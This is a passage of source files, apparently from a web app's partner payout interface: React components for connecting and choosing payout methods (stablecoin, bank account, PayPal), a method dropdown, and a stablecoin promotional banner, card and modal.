    "content": "\"use client\";\n\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { useConnectPayoutModal } from \"@/ui/partners/payouts/connect-payout-modal\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { Button, ButtonProps, TooltipContent } from \"@dub/ui\";\nimport { COUNTRIES } from \"@dub/utils\";\nimport { useCallback, useMemo } from \"react\";\nimport { usePayoutConnectFlow } from \"./use-payout-connect-flow\";\n\ninterface ConnectPayoutButtonProps extends ButtonProps {\n  payoutMethod?: PartnerPayoutMethod;\n  connected?: boolean;\n  allowWhenPayoutsEnabled?: boolean;\n}\n\nexport function ConnectPayoutButton({\n  payoutMethod,\n  connected,\n  allowWhenPayoutsEnabled,\n  ...props\n}: ConnectPayoutButtonProps) {\n  const { partner, availablePayoutMethods } = usePartnerProfile();\n\n  const { setShowConnectPayoutModal, ConnectPayoutModal } =\n    useConnectPayoutModal();\n\n  const {\n    connect,\n    isPending,\n    BankAccountRequirementsModal,\n    StablecoinPayoutModal,\n  } = usePayoutConnectFlow({\n    closeParent: () => setShowConnectPayoutModal(false),\n  });\n\n  const handleClick = useCallback(() => {\n    if (payoutMethod) {\n      connect(payoutMethod);\n      return;\n    } else if (availablePayoutMethods.length === 1) {\n      connect(availablePayoutMethods[0]);\n      return;\n    }\n    setShowConnectPayoutModal(true);\n  }, [payoutMethod, connect, setShowConnectPayoutModal]);\n\n  const errorMessage = useMemo(\n    () =>\n      !partner?.country\n        ? \"You haven't set your country yet. Please update your country or contact support.\"\n        : availablePayoutMethods.length === 0\n          ? `Your current country (${COUNTRIES[partner.country]}) is not supported for payout. Please update your country or contact support.`\n          : undefined,\n    [partner, availablePayoutMethods],\n  );\n\n  if (partner && !hasPermission(partner.role, \"payout_settings.update\")) {\n    return null;\n  }\n\n  if (partner?.payoutsEnabledAt && !allowWhenPayoutsEnabled) {\n    return null;\n  }\n\n  return (\n    <>\n      {ConnectPayoutModal}\n      {BankAccountRequirementsModal}\n      {StablecoinPayoutModal}\n      <Button\n        onClick={handleClick}\n        text={\n          connected\n            ? \"Manage\"\n            : payoutMethod\n              ? \"Connect\"\n              : \"Connect payout method\"\n        }\n        loading={isPending}\n        disabledTooltip={\n          errorMessage && (\n            <TooltipContent\n              title={errorMessage}\n              cta=\"Update profile settings\"\n              href=\"/profile\"\n            />\n          )\n        }\n        {...props}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/connect-payout-modal.tsx",
    "content": "\"use client\";\n\nimport usePartnerPayoutSettings from \"@/lib/swr/use-partner-payout-settings\";\nimport { Modal, MoneyBills2 } from \"@dub/ui\";\nimport { X } from \"lucide-react\";\nimport { Dispatch, SetStateAction, useMemo, useState } from \"react\";\nimport { PayoutMethodSelector } from \"./payout-method-cards\";\n\nfunction ConnectPayoutModal({\n  showModal,\n  setShowModal,\n}: {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { payoutMethods, isLoading: isPayoutMethodsLoading } =\n    usePartnerPayoutSettings();\n\n  const isOnlyPayoutMethod = payoutMethods.length === 1;\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-2xl\"\n    >\n      <div className=\"relative flex items-start justify-between gap-4 px-4 py-4 sm:px-6\">\n        <div className=\"flex min-w-0 flex-1 flex-col gap-4\">\n          <div className=\"flex size-12 shrink-0 items-center justify-center rounded-full border border-neutral-200 text-neutral-900\">\n            <MoneyBills2 className=\"size-5 text-neutral-700\" />\n          </div>\n          <div className=\"min-w-0\">\n            <h3 className=\"text-lg font-semibold text-neutral-800\">\n              {isPayoutMethodsLoading\n                ? \"Loading…\"\n                : isOnlyPayoutMethod\n                  ? \"Connect your payout method\"\n                  : \"Select a payout method\"}\n            </h3>\n            <p className=\"mt-0.5 text-sm text-neutral-500\">\n              {isPayoutMethodsLoading\n                ? \"Loading payout methods.\"\n                : isOnlyPayoutMethod\n                  ? \"Set up your payout method to receive payouts.\"\n                  : \"Select your preferred payout method to receive payouts.\"}\n            </p>\n          </div>\n        </div>\n        <button\n          type=\"button\"\n          onClick={() => setShowModal(false)}\n          className=\"group shrink-0 rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n        >\n          <X className=\"size-5\" />\n        </button>\n      </div>\n\n      <div className=\"px-4 py-4 pt-0 sm:px-6\">\n        {isPayoutMethodsLoading ? (\n          <PayoutMethodSelectorSkeleton />\n        ) : (\n          <PayoutMethodSelector payoutMethods={payoutMethods} />\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nfunction PayoutMethodSelectorSkeleton() {\n  return (\n    <div className=\"grid gap-3 sm:grid-cols-2\">\n      {[1, 2].map((i) => (\n        <div\n          key={i}\n          className=\"flex flex-col rounded-xl border border-neutral-200 bg-neutral-100 p-4\"\n          aria-hidden\n        >\n          <div className=\"size-10 animate-pulse rounded-lg bg-neutral-200\" />\n          <div className=\"mt-2 h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n          <ul className=\"mt-2.5 space-y-2.5\">\n            {[1, 2, 3].map((j) => (\n              <li\n                key={j}\n                className=\"h-3 w-full animate-pulse rounded bg-neutral-200\"\n              />\n            ))}\n          </ul>\n          <div className=\"mt-4 h-9 w-full animate-pulse rounded-lg bg-neutral-200\" />\n        </div>\n      ))}\n    </div>\n  );\n}\n\nexport function useConnectPayoutModal() {\n  const [showModal, setShowModal] = useState(false);\n\n  const ConnectPayoutModalElement = useMemo(\n    () => (\n      <ConnectPayoutModal showModal={showModal} setShowModal={setShowModal} />\n    ),\n    [showModal],\n  );\n\n  return useMemo(\n    () => ({\n      setShowConnectPayoutModal: setShowModal,\n      ConnectPayoutModal: ConnectPayoutModalElement,\n    }),\n    [ConnectPayoutModalElement, setShowModal],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/payout-method-cards.tsx",
    "content": "\"use client\";\n\nimport type { PartnerPayoutMethodSetting } from \"@/lib/types\";\nimport { Badge } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport type { ComponentType } from \"react\";\nimport { ReactNode } from \"react\";\nimport { ConnectPayoutButton } from \"./connect-payout-button\";\nimport {\n  PAYOUT_METHODS,\n  type PayoutMethodFeature,\n} from \"./payout-method-config\";\n\nexport { PAYOUT_METHODS };\n\nconst CARD_VARIANTS = {\n  default: {\n    card: \"p-4\",\n    content: \"gap-2\",\n    title: \"text-sm font-semibold text-neutral-900\",\n    list: \"space-y-2.5 text-xs\",\n    featureIcon: \"[&>svg]:size-4\",\n    action: \"mt-4\",\n  },\n  compact: {\n    card: \"p-3\",\n    content: \"gap-2\",\n    title: \"text-sm font-semibold text-neutral-900\",\n    list: \"space-y-2 text-xs\",\n    featureIcon: \"[&>svg]:size-4\",\n    action: \"mt-3\",\n  },\n  spotlight: {\n    card: \"p-8\",\n    content: \"gap-4\",\n    title: \"text-xl font-semibold text-neutral-900\",\n    list: \"space-y-3.5 text-sm\",\n    featureIcon: \"[&>svg]:size-5\",\n    action: \"mt-6\",\n  },\n} as const;\n\nexport function PayoutMethodSelector({\n  payoutMethods,\n  variant: variantProp,\n  actionFooter,\n  allowConnectWhenPayoutsEnabled,\n}: {\n  payoutMethods: PartnerPayoutMethodSetting[];\n  variant?: \"default\" | \"compact\";\n  actionFooter?: (setting: PartnerPayoutMethodSetting) => ReactNode;\n  allowConnectWhenPayoutsEnabled?: boolean;\n}) {\n  const filteredMethods = PAYOUT_METHODS.filter((m) =>\n    payoutMethods.some((s) => s.type === m.id),\n  );\n\n  const methodCount = filteredMethods.length;\n  const isSingleOption = methodCount === 1;\n  const isCompact = variantProp === \"compact\";\n\n  const gridClassName = isSingleOption\n    ? \"w-full\"\n    : methodCount === 2\n      ? \"grid gap-3 sm:grid-cols-2\"\n      : \"grid gap-3 sm:grid-cols-3\";\n\n  const cardVariant = isCompact\n    ? \"compact\"\n    : isSingleOption\n      ? \"spotlight\"\n      : \"default\";\n\n  const iconSize = isCompact ? \"sm\" : isSingleOption ? \"lg\" : \"sm\";\n\n  return (\n    <div className={gridClassName}>\n      {filteredMethods.map((method) => {\n        const setting = payoutMethods.find((s) => s.type === method.id)!;\n        return (\n          <PayoutMethodCard\n            key={method.id}\n            icon={\n              <PayoutMethodIcon\n                icon={method.icon}\n                wrapperClasses={method.iconWrapperClass}\n                size={iconSize}\n              />\n            }\n            title={method.title}\n            features={method.features}\n            recommended={method.recommended}\n            action={\n              <ConnectPayoutButton\n                payoutMethod={method.id}\n                connected={setting.connected}\n                className={cn(\n                  \"w-full rounded-lg\",\n                  isSingleOption ? \"h-10\" : \"h-9\",\n                )}\n                allowWhenPayoutsEnabled={allowConnectWhenPayoutsEnabled}\n              />\n            }\n            actionFooter={actionFooter?.(setting)}\n            variant={cardVariant}\n          />\n        );\n      })}\n    </div>\n  );\n}\n\nfunction PayoutMethodIcon({\n  icon: Icon,\n  wrapperClasses,\n  size = \"sm\",\n  iconClassName,\n}: {\n  icon: ComponentType<{ className?: string }>;\n  wrapperClasses: string;\n  size?: \"sm\" | \"lg\";\n  iconClassName?: string;\n}) {\n  const containerSize = size === \"lg\" ? \"size-14\" : \"size-10\";\n  const iconSize = size === \"lg\" ? \"size-8\" : \"size-5\";\n\n  return (\n    <div\n      className={cn(\n        \"flex items-center justify-center rounded-lg border\",\n        wrapperClasses,\n        containerSize,\n      )}\n    >\n      <Icon className={cn(iconSize, iconClassName)} />\n    </div>\n  );\n}\n\nfunction PayoutMethodCard({\n  icon,\n  title,\n  features,\n  recommended,\n  action,\n  actionFooter,\n  variant = \"default\",\n}: {\n  icon: ReactNode;\n  title: string;\n  features: readonly PayoutMethodFeature[];\n  recommended?: boolean;\n  action: ReactNode;\n  actionFooter?: ReactNode;\n  variant?: \"default\" | \"compact\" | \"spotlight\";\n}) {\n  const styles = CARD_VARIANTS[variant];\n\n  return (\n    <div\n      className={cn(\n        \"relative flex flex-col rounded-xl border border-neutral-200 bg-neutral-100\",\n        styles.card,\n      )}\n    >\n      {recommended && variant !== \"spotlight\" && (\n        <Badge\n          variant=\"green\"\n          className=\"absolute right-3 top-3 rounded-md font-semibold text-green-700\"\n        >\n          Recommended\n        </Badge>\n      )}\n\n      <div className={cn(\"flex flex-col text-left\", styles.content)}>\n        <div>{icon}</div>\n        <h3 className={styles.title}>{title}</h3>\n\n        <ul className={cn(\"flex-1 font-medium text-neutral-600\", styles.list)}>\n          {features.map(({ icon: FeatureIcon, text }) => (\n            <li key={text} className=\"flex items-center gap-2\">\n              <span\n                className={cn(\n                  \"flex shrink-0 items-center justify-center text-neutral-500\",\n                  styles.featureIcon,\n                )}\n              >\n                <FeatureIcon />\n              </span>\n              {text}\n            </li>\n          ))}\n        </ul>\n\n        <div className={styles.action}>{action}</div>\n        {actionFooter}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/payout-method-config.ts",
    "content": "import { STABLECOIN_PAYOUT_FEE_RATE } from \"@/lib/constants/payouts\";\nimport type { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport {\n  Calendar6,\n  CircleDollar,\n  Globe,\n  GreekTemple,\n  Paypal,\n  Stablecoin,\n} from \"@dub/ui\";\nimport { MapPin, Zap } from \"lucide-react\";\nimport type { ComponentType } from \"react\";\n\nexport const PAYOUT_METHODS = [\n  {\n    id: \"stablecoin\" as const,\n    title: \"Stablecoin\",\n    recommended: true,\n    icon: Stablecoin,\n    iconWrapperClass: \"border-[#1717170D] bg-blue-100\",\n    features: [\n      {\n        icon: CircleDollar,\n        text: `Paid in USDC (${STABLECOIN_PAYOUT_FEE_RATE * 100}% fee)`,\n      },\n      { icon: Zap, text: \"Payouts deposited in minutes\" },\n      { icon: Globe, text: \"No local bank account required\" },\n    ],\n  },\n  {\n    id: \"connect\" as const,\n    title: \"Bank Account\",\n    recommended: false,\n    icon: GreekTemple,\n    iconWrapperClass: \"border-[#1717171A] bg-white text-content-emphasis\",\n    features: [\n      { icon: MapPin, text: \"Paid in local currency (1% FX fee)\" },\n      { icon: Calendar6, text: \"Payouts take up to 15 business days\" },\n      { icon: GreekTemple, text: \"Local bank account required\" },\n    ],\n  },\n  {\n    id: \"paypal\" as const,\n    title: \"PayPal\",\n    recommended: false,\n    icon: Paypal,\n    iconWrapperClass: \"border-[#1717171A] bg-white\",\n    features: [\n      { icon: MapPin, text: \"Paid in local currency (3% FX fee)\" },\n      { icon: Zap, text: \"Payouts deposited in minutes\" },\n      {\n        icon: GreekTemple,\n        text: \"PayPal + local bank account required\",\n      },\n    ],\n  },\n] as const;\n\nconst PAYOUT_METHOD_ICON_CONFIG = Object.fromEntries(\n  PAYOUT_METHODS.map((m) => [\n    m.id,\n    { Icon: m.icon, wrapperClass: m.iconWrapperClass },\n  ]),\n) as Record<\n  PartnerPayoutMethod,\n  { Icon: ComponentType<{ className?: string }>; wrapperClass: string }\n>;\n\nexport function getPayoutMethodIconConfig(type: PartnerPayoutMethod) {\n  return (\n    PAYOUT_METHOD_ICON_CONFIG[type] ?? { Icon: GreekTemple, wrapperClass: \"\" }\n  );\n}\n\nexport function getPayoutMethodLabel(type: PartnerPayoutMethod): string {\n  return PAYOUT_METHODS.find((m) => m.id === type)?.title ?? type;\n}\n\nexport type PayoutMethodFeature = {\n  icon: ComponentType<{ className?: string }>;\n  text: string;\n};\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/payout-method-dropdown.tsx",
    "content": "\"use client\";\n\nimport usePartnerPayoutSettings from \"@/lib/swr/use-partner-payout-settings\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport type { PartnerPayoutMethodSetting } from \"@/lib/types\";\nimport { partnerPayoutMethodSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { getPayoutMethodIconConfig } from \"@/ui/partners/payouts/payout-method-config\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { Button, Popover } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport { useCallback, useState } from \"react\";\nimport { usePayoutConnectFlow } from \"./use-payout-connect-flow\";\n\nexport function PayoutMethodDropdown() {\n  const [openPopover, setOpenPopover] = useState(false);\n  const { partner, loading: isPartnerLoading } = usePartnerProfile();\n\n  const {\n    connect,\n    isPending,\n    BankAccountRequirementsModal,\n    StablecoinPayoutModal,\n  } = usePayoutConnectFlow();\n\n  const { payoutMethods: payoutMethodsData, isLoading: isSettingsLoading } =\n    usePartnerPayoutSettings();\n\n  const payoutMethods =\n    !payoutMethodsData || !Array.isArray(payoutMethodsData)\n      ? null\n      : payoutMethodsData.map((m) => partnerPayoutMethodSchema.parse(m));\n\n  const hasConnected = payoutMethods?.some((m) => m.connected) ?? false;\n\n  const handleAction = useCallback(\n    (type: PartnerPayoutMethod, isManage: boolean) => {\n      setOpenPopover(false);\n      connect(type, { isManage });\n    },\n    [connect],\n  );\n\n  const selectedMethod =\n    payoutMethods?.find((m) => m.default) ??\n    payoutMethods?.find((m) => m.connected);\n\n  const isLoading = isPartnerLoading || isSettingsLoading;\n\n  if (!partner || !hasConnected) {\n    return null;\n  }\n\n  return (\n    <>\n      {BankAccountRequirementsModal}\n      {StablecoinPayoutModal}\n      <div>\n        <Popover\n          popoverContentClassName=\"w-[var(--radix-popover-trigger-width)]\"\n          content={\n            <div className=\"relative w-full\">\n              <div className=\"w-full space-y-0.5 rounded-lg bg-white p-1 text-sm\">\n                <div className=\"flex flex-col gap-2\">\n                  {payoutMethods?.map((method) => (\n                    <PayoutMethodItem\n                      key={method.type}\n                      method={method}\n                      onAction={handleAction}\n                      isActionPending={isPending}\n                    />\n                  ))}\n                </div>\n              </div>\n            </div>\n          }\n          align=\"start\"\n          openPopover={openPopover}\n          setOpenPopover={setOpenPopover}\n        >\n          <button\n            type=\"button\"\n            onClick={() => setOpenPopover(!openPopover)}\n            className={cn(\n              \"flex w-full cursor-pointer items-center justify-between rounded-lg bg-white p-2 text-left text-sm transition-colors duration-75\",\n              \"border border-neutral-200 outline-none hover:bg-neutral-50 focus-visible:ring-2 focus-visible:ring-black/50\",\n            )}\n          >\n            {isLoading || !selectedMethod ? (\n              <PayoutMethodSkeleton />\n            ) : (\n              <SelectedMethodDisplay method={selectedMethod} />\n            )}\n          </button>\n        </Popover>\n      </div>\n    </>\n  );\n}\n\nfunction PayoutMethodItem({\n  method,\n  onAction,\n  isActionPending,\n}: {\n  method: PartnerPayoutMethodSetting;\n  onAction: (type: PartnerPayoutMethod, isManage: boolean) => void;\n  isActionPending: boolean;\n}) {\n  const { Icon, wrapperClass } = getPayoutMethodIconConfig(method.type);\n\n  return (\n    <div className=\"flex w-full cursor-default items-center justify-between gap-4 rounded-md px-2 py-1.5 transition-colors duration-75 hover:bg-neutral-50\">\n      <div className=\"flex min-w-0 flex-1 items-center gap-x-2\">\n        <div\n          className={cn(\n            \"flex size-9 shrink-0 items-center justify-center rounded-lg border\",\n            wrapperClass,\n          )}\n        >\n          <Icon className=\"size-5\" />\n        </div>\n        <div className=\"min-w-0 flex-1\">\n          <div className=\"flex flex-wrap items-center gap-1.5\">\n            <span className=\"text-xs font-medium text-neutral-900\">\n              {method.label}\n            </span>\n\n            {method.default && (\n              <span className=\"rounded-md bg-green-100 px-1.5 py-0.5 text-xs font-semibold text-green-700\">\n                Default\n              </span>\n            )}\n          </div>\n          <span className=\"mt-0.5 block truncate text-xs text-neutral-500\">\n            {method.identifier ?? \"Not connected\"}\n          </span>\n        </div>\n      </div>\n      <Button\n        variant={method.connected ? \"secondary\" : \"primary\"}\n        text={method.connected ? \"Manage\" : \"Connect\"}\n        onClick={() => onAction(method.type, method.connected)}\n        loading={isActionPending}\n        className=\"h-7 w-fit shrink-0 cursor-pointer text-xs\"\n      />\n    </div>\n  );\n}\n\nfunction SelectedMethodDisplay({\n  method,\n}: {\n  method: PartnerPayoutMethodSetting;\n}) {\n  const { Icon, wrapperClass } = getPayoutMethodIconConfig(method.type);\n  return (\n    <>\n      <div className=\"flex min-w-0 items-center gap-x-2.5 pr-2\">\n        <div\n          className={cn(\n            \"flex size-8 shrink-0 items-center justify-center rounded-lg border\",\n            wrapperClass,\n          )}\n        >\n          <Icon className=\"size-5\" />\n        </div>\n        <div className=\"min-w-0\">\n          <div className=\"flex items-center gap-1.5\">\n            <span className=\"block text-xs font-medium text-neutral-900\">\n              {method.label}\n            </span>\n            {method.default && (\n              <span className=\"rounded bg-green-100 px-1.5 py-0.5 text-xs font-medium text-green-700\">\n                Default\n              </span>\n            )}\n          </div>\n          <span className=\"block truncate text-xs text-neutral-500\">\n            {method.identifier ?? \"Not connected\"}\n          </span>\n        </div>\n      </div>\n      <ChevronsUpDown\n        className=\"size-4 shrink-0 text-neutral-400\"\n        aria-hidden=\"true\"\n      />\n    </>\n  );\n}\n\nfunction PayoutMethodSkeleton() {\n  return (\n    <>\n      <div className=\"flex min-w-0 items-center gap-x-2.5 pr-2\">\n        <div className=\"size-8 shrink-0 animate-pulse rounded-lg bg-neutral-200\" />\n        <div className=\"min-w-0\">\n          <div className=\"h-3 w-24 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"mt-1 h-3 w-44 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n      <div className=\"size-4 shrink-0 animate-pulse rounded bg-neutral-200\" />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/stablecoin-payout-banner.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { StablecoinPayoutIcon } from \"@/ui/partners/payouts/stablecoin-payout-icon\";\nimport { usePayoutConnectFlow } from \"@/ui/partners/payouts/use-payout-connect-flow\";\nimport { useStablecoinPayoutPromo } from \"@/ui/partners/payouts/use-stablecoin-payout-promo\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\n\nexport function StablecoinPayoutBanner() {\n  const { partner } = usePartnerProfile();\n  const { status, setStatus } = useStablecoinPayoutPromo();\n  const { StablecoinPayoutModal, connect } = usePayoutConnectFlow();\n\n  return (\n    <>\n      {StablecoinPayoutModal}\n      <AnimatePresence>\n        {partner && status === \"banner\" && (\n          <motion.div\n            initial={{ opacity: 0, height: 0 }}\n            animate={{ opacity: 1, height: \"auto\" }}\n            exit={{ opacity: 0, height: 0 }}\n            transition={{ duration: 0.2 }}\n            className=\"overflow-hidden\"\n          >\n            <div\n              className={cn(\n                \"border-border-subtle relative mb-4 gap-x-2 overflow-hidden rounded-xl border bg-white sm:h-12 lg:mb-6\",\n              )}\n            >\n              <div className=\"absolute inset-0\">\n                <div\n                  className={cn(\n                    \"absolute inset-0 opacity-10 blur-xl sm:-scale-x-100 sm:opacity-20\",\n                    \"[background-image:radial-gradient(140%_146%_at_93%_14%,#72FE7D,rgba(114,254,125,0)_50%),radial-gradient(126%_82%_at_56%_100%,#FD3A4E,rgba(253,58,78,0)_50%),radial-gradient(131%_124%_at_11%_35%,#855AFC,rgba(133,90,252,0)_50%),radial-gradient(117%_77%_at_100%_100%,#E4C795,rgba(228,199,149,0)_50%),radial-gradient(86%_74%_at_40%_59%,#3A8BFD,rgba(58,139,253,0)_50%),radial-gradient(115%_96%_at_42%_69%,#EEA5BA,rgba(238,165,186,0)_50%)]\",\n                  )}\n                />\n                <Grid\n                  cellSize={32}\n                  strokeWidth={2}\n                  patternOffset={[-8, -12]}\n                  className=\"text-border-subtle/40 [mask-image:linear-gradient(90deg,black_50%,#0003_100%)]\"\n                />\n              </div>\n\n              <div className=\"relative flex h-full flex-col justify-between sm:flex-row\">\n                <div className=\"flex h-full min-w-0 flex-col gap-x-2 sm:flex-row sm:items-center\">\n                  <div className=\"h-full shrink-0 overflow-hidden px-2 py-3 sm:p-0\">\n                    <div className=\"relative h-24 w-40 shrink-0 sm:h-full sm:w-16\">\n                      <div className=\"absolute left-2 right-0 top-1/2 flex h-full -translate-y-1/2 items-center justify-center sm:h-24 sm:rotate-[-4deg]\">\n                        <div\n                          className=\"animate-float\"\n                          style={{ \"--r\": \"2%\" } as React.CSSProperties}\n                        >\n                          <StablecoinPayoutIcon />\n                        </div>\n                      </div>\n                    </div>\n                  </div>\n\n                  <p\n                    className=\"text-content-subtle flex min-w-0 flex-col px-3 text-base sm:block sm:truncate sm:px-0 sm:text-sm xl:text-base\"\n                    title=\"Stablecoin payouts is here. Connect your crypto wallet and get paid in USDC.\"\n                  >\n                    <span className=\"text-content-emphasis font-semibold\">\n                      Stablecoin payouts is here.\n                    </span>{\" \"}\n                    <span className=\"font-medium\">\n                      Connect your crypto wallet and get paid in USDC.\n                    </span>\n                  </p>\n                </div>\n\n                <div className=\"flex items-center gap-2 p-3 sm:px-2 sm:py-0\">\n                  <button\n                    type=\"button\"\n                    onClick={() => connect(\"stablecoin\")}\n                    className={cn(\n                      buttonVariants({ variant: \"primary\" }),\n                      \"flex h-8 w-fit items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n                    )}\n                  >\n                    Connect wallet\n                  </button>\n\n                  <Button\n                    variant=\"outline\"\n                    icon={<X className=\"size-4\" />}\n                    className=\"hidden size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:flex\"\n                    onClick={() => setStatus(\"card\")}\n                  />\n                </div>\n              </div>\n\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-4\" />}\n                className=\"absolute right-2 top-2 size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:hidden\"\n                onClick={() => setStatus(\"card\")}\n              />\n            </div>\n          </motion.div>\n        )}\n      </AnimatePresence>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/stablecoin-payout-card.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { StablecoinPayoutIcon } from \"@/ui/partners/payouts/stablecoin-payout-icon\";\nimport { usePayoutConnectFlow } from \"@/ui/partners/payouts/use-payout-connect-flow\";\nimport { useStablecoinPayoutPromo } from \"@/ui/partners/payouts/use-stablecoin-payout-promo\";\nimport { Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\n\nexport function StablecoinPayoutCard() {\n  const { partner } = usePartnerProfile();\n  const { status } = useStablecoinPayoutPromo();\n  const { StablecoinPayoutModal, connect } = usePayoutConnectFlow();\n\n  if (!partner || status !== \"card\") return null;\n\n  return (\n    <>\n      {StablecoinPayoutModal}\n      <AnimatePresence>\n        <motion.div\n          initial={{ opacity: 0, y: 10 }}\n          animate={{ opacity: 1, y: 0 }}\n          exit={{ opacity: 0, y: 10 }}\n          transition={{ duration: 0.2 }}\n          className={cn(\n            \"border-border-subtle relative m-3 mt-8 select-none gap-2 overflow-hidden rounded-lg border bg-white\",\n          )}\n        >\n          <div className=\"absolute inset-0 [background-image:radial-gradient(200%_150%_at_100%_0%,#635BFF22,transparent_50%)]\">\n            <Grid\n              cellSize={32}\n              strokeWidth={2}\n              patternOffset={[-8, -12]}\n              className=\"text-border-subtle/40 [mask-image:linear-gradient(45deg,black_50%,#0003_100%)]\"\n            />\n          </div>\n\n          <button\n            type=\"button\"\n            onClick={() => connect(\"stablecoin\")}\n            className=\"relative flex w-full flex-col gap-3 p-3 text-left\"\n          >\n            <div\n              className=\"animate-float\"\n              style={{ \"--r\": \"1%\" } as React.CSSProperties}\n            >\n              <StablecoinPayoutIcon className=\"m-4 rotate-[-8deg] scale-125\" />\n            </div>\n\n            <div className=\"flex flex-col\">\n              <span className=\"text-content-emphasis line-clamp-1 text-sm font-semibold\">\n                Stablecoin payouts\n              </span>\n              <p className=\"text-content-subtle line-clamp-2 text-xs\">\n                Connect your crypto wallet and get paid in USDC within minutes.\n              </p>\n            </div>\n\n            <span\n              className={cn(\n                buttonVariants({ variant: \"primary\" }),\n                \"flex h-6 w-fit items-center justify-center whitespace-nowrap rounded-md border px-1.5 text-xs\",\n              )}\n            >\n              Connect wallet\n            </span>\n          </button>\n        </motion.div>\n      </AnimatePresence>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/stablecoin-payout-icon.tsx",
    "content": "\"use client\";\n\nimport { CircleDollar3 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\n/**\n * Simplified layered icon matching the stablecoin payout modal hero:\n * outer card → middle ring → inner blue circle with dollar icon.\n * Scaled for card/banner use (no ShimmerDots, lighter shadows).\n */\nexport function StablecoinPayoutIcon({\n  className,\n  iconClassName,\n}: {\n  className?: string;\n  iconClassName?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"flex size-12 shrink-0 items-center justify-center rounded-xl\",\n        className,\n      )}\n      style={{\n        background:\n          \"linear-gradient(180deg, rgba(238, 221, 238, 0.04) 0%, rgba(74, 0, 74, 0.04) 100%), #FFFFFF\",\n        boxShadow:\n          \"0px 4px 12px rgba(0, 0, 0, 0.06), 0px 2px 4px rgba(0, 0, 0, 0.08), inset 0px -1px 1px rgba(255, 255, 255, 0.8)\",\n      }}\n    >\n      <div\n        className=\"flex size-8 shrink-0 items-center justify-center rounded-full\"\n        style={{\n          background: \"linear-gradient(180deg, #F0F0F0 0%, #F0F0F0 100%)\",\n          boxShadow: \"0px 1px 2px rgba(0, 0, 0, 0.04)\",\n        }}\n      >\n        <div\n          className=\"flex size-6 shrink-0 items-center justify-center rounded-full\"\n          style={{\n            background: \"#155DFC\",\n            boxShadow:\n              \"0px 1px 1px rgba(0, 0, 0, 0.08), inset 0px 2px 3px rgba(255, 255, 255, 0.25), inset 0px -1px 4px rgba(0, 0, 0, 0.2)\",\n          }}\n        >\n          <CircleDollar3\n            className={cn(\"size-3.5 text-white\", iconClassName)}\n            strokeWidth={2.5}\n            aria-hidden\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/stablecoin-payout-modal.tsx",
    "content": "\"use client\";\n\nimport { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport { Badge, Button, CircleDollar3, Modal, ShimmerDots } from \"@dub/ui\";\nimport { TriangleWarning } from \"@dub/ui/icons\";\nimport { Dispatch, SetStateAction, useMemo, useState } from \"react\";\n\nfunction StablecoinPayoutModal({\n  showModal,\n  setShowModal,\n  onContinue,\n}: {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  onContinue: () => Promise<void>;\n}) {\n  const [isLoading, setIsLoading] = useState(false);\n  const [acknowledged, setAcknowledged] = useState(false);\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"relative flex flex-col overflow-hidden rounded-t-2xl\">\n        <div className=\"relative flex h-48 items-center justify-center overflow-hidden\">\n          {/* Background image */}\n          <div\n            className=\"absolute inset-0 bg-cover bg-center\"\n            style={{\n              backgroundImage: `url(https://assets.dub.co/misc/stablecoin-payouts-modal-bg.jpg)`,\n            }}\n          />\n          {/* Shimmer overlay */}\n          <ShimmerDots\n            dotSize={1}\n            cellSize={4}\n            speed={3}\n            color={[1, 1, 1]}\n            className=\"opacity-50\"\n          />\n          {/* Pay Methods card stack – centered, matching design specs */}\n          <div\n            className=\"relative flex size-[132px] shrink-0 items-center justify-center rounded-[31px] bg-white\"\n            style={{\n              background:\n                \"linear-gradient(180deg, rgba(238, 221, 238, 0.025) 0%, rgba(74, 0, 74, 0.025) 100%), #FFFFFF\",\n              boxShadow:\n                \"0px 114px 46px 